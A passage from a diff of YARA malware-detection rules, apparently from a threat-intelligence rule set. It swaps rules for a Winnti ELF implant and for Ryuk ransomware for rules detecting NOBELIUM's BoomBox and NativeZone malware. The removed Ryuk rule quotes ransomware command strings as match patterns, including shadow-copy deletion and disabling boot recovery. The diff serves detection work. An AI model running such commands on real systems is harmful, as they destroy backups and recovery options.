48 89 84 24 90 00 00 00 74 05 e8 94 41 f2 ff 4c 8d ac 24 d0 03 00 00 4c 89 ef e8 14 bd 02 00 4c 8d b4 24 f0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 ac 5e ff ff 4c 8d ac 24 b0 00 00 00 ba 03 00 00 00 4c 89 f6 4c 89 ef e8 94 5e ff ff 48 8b bc 24 f8 03 00 00 48 8d 43 10 48 89 84 24 f0 03 00 00 48 85 ff 74 05 e8 36 41 f2 ff 48 8b bc 24 d8 03 00 00 48 8d 43 10 48 89 84 24 d0 03 00 00 48 85 ff 74 05 e8 18 41 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 31 de 3b 00 48 89 05 22 de 3b 00 e8 7d 19 02 00 48 8d 05 56 d9 0e 00 48 8b bc 24 b8 00 00 00 c7 05 4c de 3b 00 01 00 00 00 48 89 05 1d de 3b 00 48 8d 05 6e d9 0e 00 48 85 ff 48 89 05 14 de 3b 00 48 8d 05 95 d9 0e 00 48 89 05 0e de 3b 00 48 8d 05 bf d9 0e 00 48 89 05 08 de 3b 00 48 8d 05 19 da 0e 00 48 89 05 02 de 3b 00 48 8d 43 10 48 89 84 24 b0 00 00 00 74 05 e8 8f 40 f2 ff 4c 8d ac 24 10 04 00 00 4c 89 ef e8 0f bc 02 00 4c 8d b4 24 30 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a7 5d ff ff 4c 8d ac 24 d0 00 00 00 ba 05 00 00 00 4c 89 f6 4c 89 ef e8 8f 5d ff ff 48 8b bc 24 38 04 00 00 48 8d 43 10 48 89 84 24 30 04 00 00 48 85 ff 74 05 e8 31 40 f2 ff 48 8b bc 24 18 04 00 00 48 8d 43 10 48 89 84 24 10 04 00 00 48 85 ff 74 05 e8 13 40 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 7c dd 3b 00 48 89 05 6d dd 3b 00 e8 78 18 02 00 48 8d 05 99 d9 0e 00 48 8b bc 24 d8 00 00 00 c7 05 97 dd 3b 00 01 00 00 00 48 89 05 68 dd 3b 00 48 8d 05 b9 d9 0e 00 48 85 ff 48 89 05 5f dd 3b 00 48 8d 05 e8 d9 0e 00 48 89 05 59 dd 3b 00 48 8d 05 1a da 0e 00 48 89 05 53 dd 3b 00 48 8d 05 84 da 0e 00 48 89 05 4d dd 3b 00 48 8d 43 10 48 89 84 24 d0 00 00 00 74 05 e8 8a 3f f2 ff 4c 8d ac 24 50 04 00 00 4c 89 ef e8 0a bb 02 00 4c 8d b4 24 70 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a2 5c ff ff 4c 8d ac 24 f0 00 00 00 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 8a 5c ff ff 48 8b bc 24 78 04 00 00 48 8d 43 10 48 89 84 24 70 04 00 00 48 85 ff 74 05 e8 2c 3f f2 ff 48 8b bc 24 58 04 00 00 48 8d 43 10 48 89 84 24 50 04 00 00 48 85 ff 74 05 e8 0e 3f f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d c7 dc 3b 00 48 89 05 b8 dc 3b 00 e8 73 17 02 00 48 8d 05 0c da 0e 00 48 8b bc 24 f8 00 00 00 c7 05 e2 dc 3b 00 01 00 00 00 48 89 05 b3 dc 3b 00 48 8d 05 34 da 0e 00 48 85 ff 48 89 05 aa dc 3b 00 48 8d 05 6b da 0e 00 48 89 05 a4 dc 3b 00 48 8d 05 a5 da 0e 00 48 89 05 9e dc 3b 00 48 8d 05 1f db 0e 00 48 89 05 98 dc 3b 00 48 8d 43 10 48 89 84 24 f0 00 00 00 74 05 e8 85 3e f2 ff 4c 8d ac 24 90 04 00 00 4c 89 ef e8 05 ba 02 00 4c 8d b4 24 b0 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 9d 5b ff ff 4c 8d ac 24 10 01 00 00 ba 09 00 00 00 4c 89 f6 4c 89 ef e8 85 5b ff ff 48 8b bc 24 b8 04 00 00 48 8d 43 10 48 89 84 24 b0 04 00 00 48 85 ff 74 05 e8 27 3e f2 ff 48 8b bc 24 98 04 00 00 48 8d 43 10 48 89 84 24 90 04 00 00 48 85 ff 74 05 e8 09 3e f2 ff 48 8d 43 10 49 8d } + $seq2 = { 41 56 49 89 fe 41 55 41 89 cd 41 54 45 8d 60 01 55 53 44 89 c3 48 81 ec 98 06 00 00 41 39 cc 89 74 24 10 48 89 54 24 30 0f 84 ab 09 00 00 48 8d 84 24 80 00 00 00 41 8d 70 ff 48 8d ac 24 10 01 00 00 48 89 c7 48 89 44 24 48 e8 0f 89 f6 ff be 01 00 00 00 48 89 ef e8 02 51 f6 ff 4c 8d a4 24 e0 00 00 00 89 de 4c 89 e7 e8 f0 88 f6 ff 48 8d 84 24 b0 00 00 00 48 89 ea 4c 89 e6 48 89 c7 48 89 44 24 20 e8 55 8d f6 ff 48 8d 1d 4e a2 2f 00 49 8d 7c 24 08 4c 8d 7b 10 4c 89 bc 24 e0 00 00 00 e8 48 eb ea ff 48 8d 7d 08 4c 89 bc 24 10 01 00 00 e8 37 eb ea ff 48 8d 84 24 40 01 00 00 41 8d 75 ff 48 89 c7 48 89 44 24 38 e8 8e 88 f6 ff 48 8d 84 24 d0 01 00 00 be 01 00 00 00 48 89 c7 49 89 c7 48 89 44 24 50 e8 71 50 f6 ff 48 8d ac 24 a0 01 00 00 44 89 ee 48 89 ef e8 5e 88 f6 ff 48 8d 84 24 70 01 00 00 4c 89 fa 48 89 ee 48 89 c7 48 89 44 24 40 e8 c3 8c f6 ff 4c 8d 63 10 48 8d 7d 08 48 8d ac 24 00 02 00 00 4c 89 a4 24 a0 01 00 00 e8 b6 ea ea ff 4c 89 ff 4c 89 a4 24 d0 01 00 00 4c 8d a4 24 30 02 00 00 48 83 c7 08 e8 9a ea ea ff 4c 63 7c 24 10 49 8d 46 30 48 89 44 24 18 0f 1f 40 00 e8 b3 7c f6 ff 49 89 c5 e8 ab 75 f6 ff 4c 89 2c 24 4c 8b 6c 24 18 49 89 c1 48 8b 4c 24 20 48 8b 54 24 48 41 b8 01 00 00 00 48 8b 74 24 30 4c 89 ef e8 32 f9 f6 ff 4c 89 fe 48 89 ef e8 b7 4f f6 ff 4c 89 ea 48 89 ee 4c 89 e7 e8 09 d9 f6 ff 48 8b 4c 24 40 48 8b 54 24 38 4d 89 e1 48 8b 74 24 30 4c 89 2c 24 41 b8 01 00 00 00 4c 89 f7 e8 f5 f8 f6 ff 48 8b 94 24 50 02 00 00 48 8b 8c 24 40 02 00 00 41 89 c5 48 39 8c 24 48 02 00 00 48 8d 43 10 48 0f 46 8c 24 48 02 00 00 48 85 d2 48 89 84 24 30 02 00 00 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 40 4f f7 ff 48 8b 94 24 20 02 00 00 48 8b 8c 24 10 02 00 00 48 8d 43 10 48 39 8c 24 18 02 00 00 48 0f 46 8c 24 18 02 00 00 48 89 84 24 00 02 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 fe 4e f7 ff 45 84 ed 0f 84 fd fe ff ff 83 7c 24 10 01 0f 84 bc 04 00 00 48 8d 84 24 e0 03 00 00 4c 8d ac 24 c0 05 00 00 48 89 44 24 10 48 8d 84 24 10 04 00 00 48 89 44 24 08 49 8d 45 08 } + $seq3 = { 4c 8d bc 24 00 05 00 00 be 01 00 00 00 4c 89 ff e8 9b 4e f6 ff 4c 8d a4 24 30 05 00 00 4c 89 fa 4c 89 f6 4c 89 e7 e8 05 88 f6 ff 48 8d ac 24 60 05 00 00 48 8b 54 24 18 4c 89 e6 48 89 ef e8 5d d3 f6 ff 48 8d 84 24 90 05 00 00 4c 89 f1 4c 89 ea 48 89 ee 48 89 c7 48 89 44 24 28 e8 ef b9 ff ff 48 8b 74 24 28 49 8d 7e 60 e8 01 59 f6 ff 48 8b 94 24 b0 05 00 00 48 8b 8c 24 a0 05 00 00 48 8d 43 10 48 39 8c 24 a8 05 00 00 48 0f 46 8c 24 a8 05 00 00 48 89 84 24 90 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 ff 4d f7 ff 48 8b 94 24 80 05 00 00 48 8b 8c 24 70 05 00 00 48 8d 43 10 48 39 8c 24 78 05 00 00 48 0f 46 8c 24 78 05 00 00 48 89 84 24 60 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 bd 4d f7 ff 48 8b 94 24 50 05 00 00 48 8b 8c 24 40 05 00 00 48 8d 43 10 48 39 8c 24 48 05 00 00 48 0f 46 8c 24 48 05 00 00 48 89 84 24 30 05 00 00 } + $seq4 = { 49 89 ff 41 56 49 89 f6 41 55 41 54 55 53 49 8d 9e c8 01 00 00 48 81 ec f8 05 00 00 48 8d bc 24 d0 00 00 00 e8 e5 52 00 00 48 8d bc 24 00 01 00 00 be 06 0e 5d 00 e8 33 99 ff ff 48 8d b4 24 00 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 bb eb ff ff 48 8b 84 24 00 01 00 00 48 8d b4 24 60 04 00 00 49 8d 9e c0 01 00 00 48 8d 78 e8 e8 9b 10 fd ff 48 8d bc 24 20 01 00 00 be 79 e3 5b 00 e8 e9 98 ff ff 48 8d b4 24 20 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 71 eb ff ff 48 8b 84 24 20 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 58 10 fd ff 48 8d 7c 24 20 4c 89 f6 e8 6b 9d ff ff 48 8d bc 24 40 01 00 00 be 14 e4 5b 00 e8 99 98 ff ff 48 8d 54 24 20 48 8d b4 24 40 01 00 00 48 8d bc 24 d0 00 00 00 e8 1f eb ff ff 48 8b 84 24 40 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 06 10 fd ff 48 8b 44 24 20 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 f0 0f fd ff 48 8d bc 24 60 01 00 00 be 1d e4 5b 00 e8 3e 98 ff ff 48 8d bc 24 c0 00 00 00 e8 41 22 fd ff 48 8d b4 24 c0 00 00 00 48 8d bc 24 60 04 00 00 e8 cc 0f fd ff 48 8d 8c 24 60 04 00 00 48 8d b4 24 60 01 00 00 48 8d bc 24 d0 00 00 00 ba 3f 26 5e 00 e8 fa ce 00 00 48 8d bc 24 60 04 00 00 e8 7d 19 fd ff 48 8d bc 24 c0 00 00 00 e8 70 19 fd ff 48 8b 84 24 60 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 67 0f fd ff 48 8d bc 24 80 01 00 00 be 90 e4 5b 00 e8 b5 97 ff ff 48 8d b4 24 80 01 00 00 48 8d bc 24 d0 00 00 00 ba 48 38 8a 00 e8 3b ea ff ff 48 8b 84 24 80 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 22 0f fd ff 48 8d 94 24 20 04 00 00 48 8d b4 24 00 04 00 00 4c 89 f7 48 c7 84 24 00 04 00 00 78 24 8a 00 48 c7 84 24 20 04 00 00 78 24 8a 00 e8 f2 9c ff ff 48 8d bc 24 a0 01 00 00 be 24 e4 5b 00 e8 40 97 ff ff 48 8d 94 24 00 04 00 00 48 8d b4 24 a0 01 00 00 48 8d bc 24 d0 00 00 00 e8 c3 e9 ff ff 48 8b 84 24 a0 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 aa 0e fd ff 48 8d bc 24 c0 01 00 00 be 2d e4 5b 00 e8 f8 96 ff ff 48 8d 94 24 20 04 00 00 48 8d b4 24 c0 01 00 00 48 8d bc 24 d0 00 00 00 e8 7b e9 ff ff 48 8b 84 24 c0 01 00 00 48 8d b4 24 60 04 00 00 48 8d ac 24 e0 03 00 00 48 8d 78 e8 e8 5a 0e fd ff c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 e2 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 } + $seq5 = { e8 bb e4 fd ff 48 8d bc 24 40 04 00 00 48 89 84 24 e0 01 00 00 e8 b6 e9 05 00 48 89 c3 48 89 84 24 e8 01 00 00 e8 96 1d fd ff 8b 40 08 48 83 c3 08 be 33 e4 5b 00 48 89 df 89 84 24 f0 01 00 00 e8 7b e9 fd ff 48 8b b4 24 00 04 00 00 48 89 df 48 8b 56 e8 e8 67 e6 fd ff 48 8d bc 24 e0 01 00 00 e8 5a d9 fd ff 48 83 bc 24 40 04 00 00 00 75 8f c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 37 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 00 48 89 c6 } + $seq6 = { 48 8d bc 24 40 04 00 00 48 89 84 24 00 02 00 00 e8 0e e9 05 00 48 89 c3 48 89 84 24 08 02 00 00 e8 ee 1c fd ff 8b 40 08 48 83 c3 08 be 3e e4 5b 00 48 89 df 89 84 24 10 02 00 00 e8 d3 e8 fd ff 48 8b b4 24 20 04 00 00 48 89 df 48 8b 56 e8 e8 bf e5 fd ff 48 8d bc 24 00 02 00 00 e8 b2 d8 fd ff 48 83 bc 24 40 04 00 00 00 75 8f 48 8b 84 24 20 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 ee 0c fd ff 48 8b 84 24 00 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 d5 0c fd ff e8 10 c9 fe ff 84 c0 0f 84 48 02 00 00 48 8d 74 24 1d c6 04 24 00 48 89 ef e8 07 97 00 00 48 8b bc 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 c7 84 24 00 04 00 00 00 00 00 00 48 c7 84 24 08 04 00 00 00 00 00 00 48 c7 84 24 10 04 00 00 00 00 00 00 e8 3e db fe ff 84 c0 0f 84 c9 00 00 00 48 8b 84 24 08 04 00 00 48 2b 84 24 00 04 00 00 48 c1 f8 03 } + $seq7 = { 48 83 bc 24 40 04 00 00 00 75 95 48 8d bc 24 00 04 00 00 e8 b0 9e fe ff 48 8b bc 24 e8 03 00 00 48 85 ff 74 05 e8 0e 66 ff ff 48 8d bc 24 f0 00 00 00 e8 81 4d 00 00 48 8d b4 24 f0 00 00 00 4c 89 f7 e8 81 f0 ff ff 48 8d bc 24 40 04 00 00 be 02 e5 5b 00 e8 bf 93 ff ff 48 8d 94 24 f0 00 00 00 48 8d b4 24 40 04 00 00 48 8d bc 24 d0 00 00 00 e8 f2 d1 00 00 48 8b 84 24 40 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 29 0b fd ff 48 8d bc 24 60 04 00 00 be 18 00 00 00 e8 07 0e fd ff 48 8d bc 24 70 04 00 00 48 8d b4 24 d0 00 00 00 ba 01 00 00 00 e8 5d ad 00 00 48 8d b4 24 78 04 00 00 48 8d bc 24 b0 00 00 00 e8 38 0c fd ff 48 8d 94 24 b0 00 00 00 4c 89 f6 4c 89 ff e8 e5 c6 ff ff 48 8b 84 24 b0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 bc 0a fd ff 48 8d bc 24 60 04 00 00 e8 cf 16 fd ff 48 8d bc 24 f0 00 00 00 e8 52 4d 00 00 48 8d bc 24 d0 00 00 00 e8 45 4d 00 00 48 81 c4 f8 05 00 00 4c 89 f8 5b 5d 41 5c 41 5d } + $seq8 = { 4c 8d a4 24 64 05 00 00 66 0f 1f 44 00 00 e8 23 de fd ff 48 8d 94 24 20 04 00 00 48 8d bc 24 a0 03 00 00 48 89 c6 e8 eb df fd ff 48 8b 9c 24 a8 03 00 00 be f7 e4 5b 00 48 8d 7b 08 e8 f5 e2 fd ff 48 8d 7b 70 4c 89 e6 e8 d9 0b fd ff 48 8d bc 24 a0 03 00 00 e8 dc d2 fd ff 48 83 bc 24 20 04 00 00 00 75 a9 48 8d 84 24 c0 03 00 00 be 6c e4 5b 00 48 89 c7 48 89 44 24 08 e8 77 8f ff ff 48 8b 5c 24 08 48 8d 94 24 60 04 00 00 48 8d bc 24 d0 00 00 00 48 89 de e8 7a c8 00 00 48 8b 84 24 c0 03 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 e1 06 fd ff 48 8d b4 24 23 05 00 00 48 8d bc 24 a0 00 00 00 48 89 da e8 29 0d fd ff 48 8d 94 24 a0 03 00 00 48 8d b4 24 60 04 00 00 48 8d bc 24 90 00 00 00 e8 0c 0d fd ff 48 8d bc 24 90 00 00 00 be 90 d6 5c 00 e8 ba 16 fd ff 48 8b 10 48 89 94 24 20 04 00 00 48 c7 00 78 24 8a 00 48 8b 94 24 20 04 00 00 48 8b 84 24 a0 00 00 00 48 8b 4a e8 48 89 ce 48 03 70 e8 48 3b 72 f0 76 0a 48 3b 70 f0 0f 86 b7 08 00 00 48 8d b4 24 a0 00 00 00 48 8d bc 24 20 04 00 00 e8 08 0c fd ff 48 8b 10 be 8d e4 5b 00 48 89 ef 48 89 94 24 40 04 00 00 48 c7 00 78 24 8a 00 e8 89 8e ff ff 48 8d 94 24 40 04 00 00 48 8d bc 24 d0 00 00 00 48 89 ee e8 11 e1 ff ff 48 8b 84 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 f8 05 fd ff 48 8b 84 24 40 04 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 df 05 fd ff 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 c6 05 fd ff 48 8b 84 24 90 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 ad 05 fd ff 48 8b 84 24 a0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 94 05 fd ff 48 8d bc 24 00 04 00 00 be 4c e4 5b 00 e8 e2 8d ff ff 48 8d 94 24 e2 04 00 00 48 8d b4 24 00 04 00 00 48 8d bc 24 d0 00 00 00 e8 e5 c6 00 00 48 8b 84 24 00 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 4c 05 fd ff 48 8d bc 24 20 04 00 00 be 98 e4 5b 00 e8 9a 8d ff ff 48 8d 94 24 64 05 00 00 48 8d b4 24 20 04 00 00 48 8d bc 24 d0 00 00 00 e8 9d c6 00 00 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 } condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and all of ( $s* ) and 2 of ( $seq* ) + uint32( 0 ) == 0x464c457f and filesize > 300KB and 7 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Winnti_Elfx64_Aug_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Boombox_May_2021_1 : FILE { meta: - description = "Detect of ELF implant used by APT Winnti in August 2020" + description = "Detect BoomBox malware" author = "Arkbird_SOLG" - id = "112e8d60-cbcb-53a7-b458-d39ee03d5c22" - date = "2020-08-18" - modified = "2020-08-18" - reference = "https://twitter.com/KorbenD_Intel/status/1295725146037133312" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-18/Winnti/APT_Winnti_ELFx64_Aug_2020_1.yar#L1-L34" + id = "b2629c5b-1fb0-5ea1-8661-faf8f1d6b578" + date = "2021-05-28" + modified = "2021-06-05" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_BoomBox_May_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "ebe6e60c45336476fd91c4185eee0414c3eba83960301a610b69c8818dbb17fd" + logic_hash = "b88848ead9c992392c99e88a25541b72d825fbd32c3eb83fefc18e7cfbd08cc8" score = 75 - quality = 36 + quality = 75 tags = "FILE" - hash1 = "6af8b3d31101f48911b13e49c660c10ed1d26b60267e8037d2ac174fc0d2f36c" + hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec" + hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27" + tlp = "White" + adversary = "NOBELIUM" strings: - $lib1 = "/usr/bin/python2.7" fullword ascii - $lib2 = "libxselinux" fullword ascii - $c1 = "/cmdlineH" fullword ascii - $c2 = "/proc/%d/fd/%s" fullword ascii - $c3 = "/proc/self/exe" fullword ascii - $c4 = "__gmon_start__" fullword ascii - $c5 = "_ITM_registerTMCloneTable" fullword ascii - $c6 = "_ITM_deregisterTMCloneTable" fullword ascii - $d1 = "/usr/bin/netstat" fullword ascii - $d2 = "/var/run/libudev.pid" fullword ascii - $d3 = "/sbin/ifup-local" fullword ascii - $s1 = "EAEC2CA4-AF8D-4F61-8115-9EC26F6BF4E1" fullword ascii - $s2 = "readdir64" fullword ascii - $s3 = ".note.gnu.gold-version" fullword ascii - $s4 = ".note.gnu.build-id" fullword ascii - $s5 = ".eh_frame_hdr" fullword ascii - $s6 = "xlstat" fullword ascii - $s7 = "1YZ[\\<@nYSLRR]H_PGX[XmYXGFrstuvwxyz{|}~" fullword ascii - $info1 = "check_is_our_proc_dir" fullword ascii - $info2 = "get_our_sockets" fullword ascii - $info3 = "is_invisible_with_pids" fullword ascii - $info4 = "check_if_number" fullword ascii - $info5 = "get_our_pids" fullword ascii + $s1 = { 13 30 06 00 90 01 00 00 07 00 00 11 1f 1a 28 53 00 00 0a 25 72 bc 05 00 70 28 1e 00 00 0a 0a 06 28 54 00 00 0a 2d 07 06 28 55 00 00 0a 26 72 ea 05 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 22 07 28 55 00 00 0a 26 07 72 12 06 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 07 07 28 55 00 00 0a 26 73 08 00 00 06 25 7e 08 00 00 04 72 1c 06 00 70 6f 06 00 00 06 0c 08 2c 46 08 8e 69 1f 11 59 8d 2b 00 00 01 13 04 08 1f 0a 11 04 16 11 04 8e 69 28 56 00 00 0a 73 05 00 00 06 11 04 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 05 06 72 3c 06 00 70 28 1e 00 00 0a 11 05 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 46 7e 59 00 00 0a 72 64 06 00 70 17 6f 5a 00 00 0a 13 06 11 06 72 c0 06 00 70 6f 5b 00 00 0a 2d 26 11 06 72 c0 06 00 70 72 e8 06 00 70 06 72 3c 06 00 70 28 1e 00 00 0a 72 12 07 00 70 28 5c 00 00 0a 6f 5d 00 00 0a 7e 08 00 00 04 72 38 07 00 70 6f 06 00 00 06 0d 09 2c 46 09 8e 69 1f 11 59 8d 2b 00 00 01 13 07 09 1f 0a 11 07 16 11 07 8e 69 28 56 00 00 0a 73 05 00 00 06 11 07 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 08 07 72 58 07 00 70 28 1e 00 00 0a 11 08 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 16 72 84 07 00 70 06 72 9e 07 00 70 28 1e 00 00 0a 28 5e 00 00 0a 26 2a } + $s2 = { 13 30 05 00 11 01 00 00 05 00 00 11 02 7b 02 00 00 04 72 0b 03 00 70 28 1e 00 00 0a 28 30 00 00 0a 74 2d 00 00 01 25 20 c0 d4 01 00 6f 31 00 00 0a 25 72 86 01 00 70 6f 32 00 00 0a 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 8d 02 00 70 03 28 1e 00 00 0a 6f 36 00 00 0a 25 72 2b 03 00 70 6f 3f 00 00 0a 72 9d 02 00 70 04 72 5d 03 00 70 28 37 00 00 0a 0a 25 6f 35 00 00 0a 72 bb 02 00 70 06 6f 38 00 00 0a 25 6f 40 00 00 0a 05 16 05 8e 69 6f 2e 00 00 0a 6f 39 00 00 0a 74 1a 00 00 01 0b 07 6f 3a 00 00 0a 20 c8 00 00 00 33 64 07 6f 3e 00 00 0a 73 41 00 00 0a 6f 42 00 00 0a 0c 02 7b 06 00 00 04 08 6f 43 00 00 0a 6f 44 00 00 0a 17 6f 45 00 00 0a 6f 46 00 00 0a 72 02 04 00 70 28 47 00 00 0a 2c 29 02 7b 03 00 00 04 08 6f 43 00 00 0a 26 02 7b 04 00 00 04 08 6f 43 00 00 0a 26 02 7b 05 00 00 04 08 6f 43 00 00 0a 26 17 2a 16 2a 16 2a } + $s3 = { 13 30 04 00 6d 01 00 00 0a 00 00 11 72 f2 07 00 70 28 54 00 00 0a 39 5d 01 00 00 72 [2] 00 70 72 f2 07 00 70 28 5e 00 00 0a 26 1f 1a 28 53 00 00 0a 72 ?? 08 00 70 28 1e 00 00 0a 28 58 00 00 0a 3a 32 01 00 00 1f 0a 8d 2b 00 00 01 25 d0 0c 00 00 04 28 67 00 00 0a 0a 1d 8d 2b 00 00 01 25 d0 0b 00 00 04 28 67 00 00 0a 0b 28 4b 00 00 0a 6f 4c 00 00 0a 28 0c 00 00 06 26 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 0c 00 00 06 0c 73 0a 00 00 06 6f 09 00 00 06 0d 09 2c 56 28 68 00 00 0a 09 6f 61 00 00 0a 13 05 73 05 00 00 06 11 05 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 06 06 11 06 28 0d 00 00 06 13 07 11 07 07 28 0d 00 00 06 13 07 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 07 6f 07 00 00 06 26 28 0b 00 00 06 28 4b 00 00 0a 6f 4c 00 00 0a 13 04 11 04 72 d5 00 00 70 28 69 00 00 0a 2c 65 73 02 00 00 06 11 04 6f 01 00 00 06 13 08 11 08 2c 53 73 05 00 00 06 28 68 00 00 0a 11 08 6f 61 00 00 0a 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 09 06 11 09 28 0d 00 00 06 13 0a 11 0a 07 28 0d 00 00 06 13 0a 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 0a 6f 07 00 00 06 26 2a } + $s4 = { 1b 30 05 00 b5 00 00 00 06 00 00 11 72 76 05 00 70 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 10 00 00 0a 0a 72 84 05 00 70 28 4b 00 00 0a 6f 4c 00 00 0a 28 10 00 00 0a 0b 72 90 05 00 70 0c 28 4d 00 00 0a 28 49 00 00 0a 6f 4e 00 00 0a 13 04 16 13 05 2b 2a 11 04 11 05 9a 13 06 11 06 6f 4f 00 00 0a 18 33 13 08 11 06 6f 50 00 00 0a 72 98 05 00 70 28 37 00 00 0a 0c 11 05 17 58 13 05 11 05 11 04 8e 69 32 ce 28 51 00 00 0a 6f 52 00 00 0a 0d 72 9c 05 00 70 1a 8d 10 00 00 01 25 16 06 a2 25 17 07 a2 25 18 08 a2 25 19 09 a2 28 1d 00 00 0a 13 07 de 06 26 14 13 07 de 00 11 07 2a 00 00 00 01 10 00 00 00 00 00 00 ac ac 00 06 10 00 00 01 } condition: - uint16( 0 ) == 0x457f and filesize < 15KB and ( 1 of ( $lib* ) and 4 of ( $c* ) and 2 of ( $d* ) and 4 of ( $s* ) and 3 of ( $info* ) ) + uint16( 0 ) == 0x5a4d and filesize > 6KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Nativezone_May_2021_1 : FILE { meta: - description = "Detect RYUK ransomware (Sept_2020_V1)" + description = "Detect NativeZone malware" author = "Arkbird_SOLG" - id = "7ade43ef-cd31-5308-b5ab-71f04d27018b" - date = "2020-10-25" - modified = "2020-10-27" + id = "5b858a8d-6e6a-5712-a83a-229bed1c7872" + date = "2021-05-28" + modified = "2021-06-05" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_1.yar#L1-L29" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_NativeZone_May_2021_1.yara#L1-L17" license_url = "N/A" - logic_hash = "b70eb2e5f58076ea8d4d1370649358acf68f3119cb2be6d5ef0a302bb3bf5d1e" + logic_hash = "9281784100e922fe3ef64e7c112276ffa5f8691ab4f24f1b68fbb0495e449bd3" score = 75 quality = 75 tags = "FILE" - hash1 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b" - hash2 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8" - hash3 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399" + hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d" + hash2 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4" + tlp = "White" + adversary = "NOBELIUM" strings: - $c1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii - $c2 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii - $c3 = "C:\\Windows\\System32\\cmd.exe" fullword ascii - $c4 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii - $c5 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii - $c6 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii - $r1 = "/C REG ADD 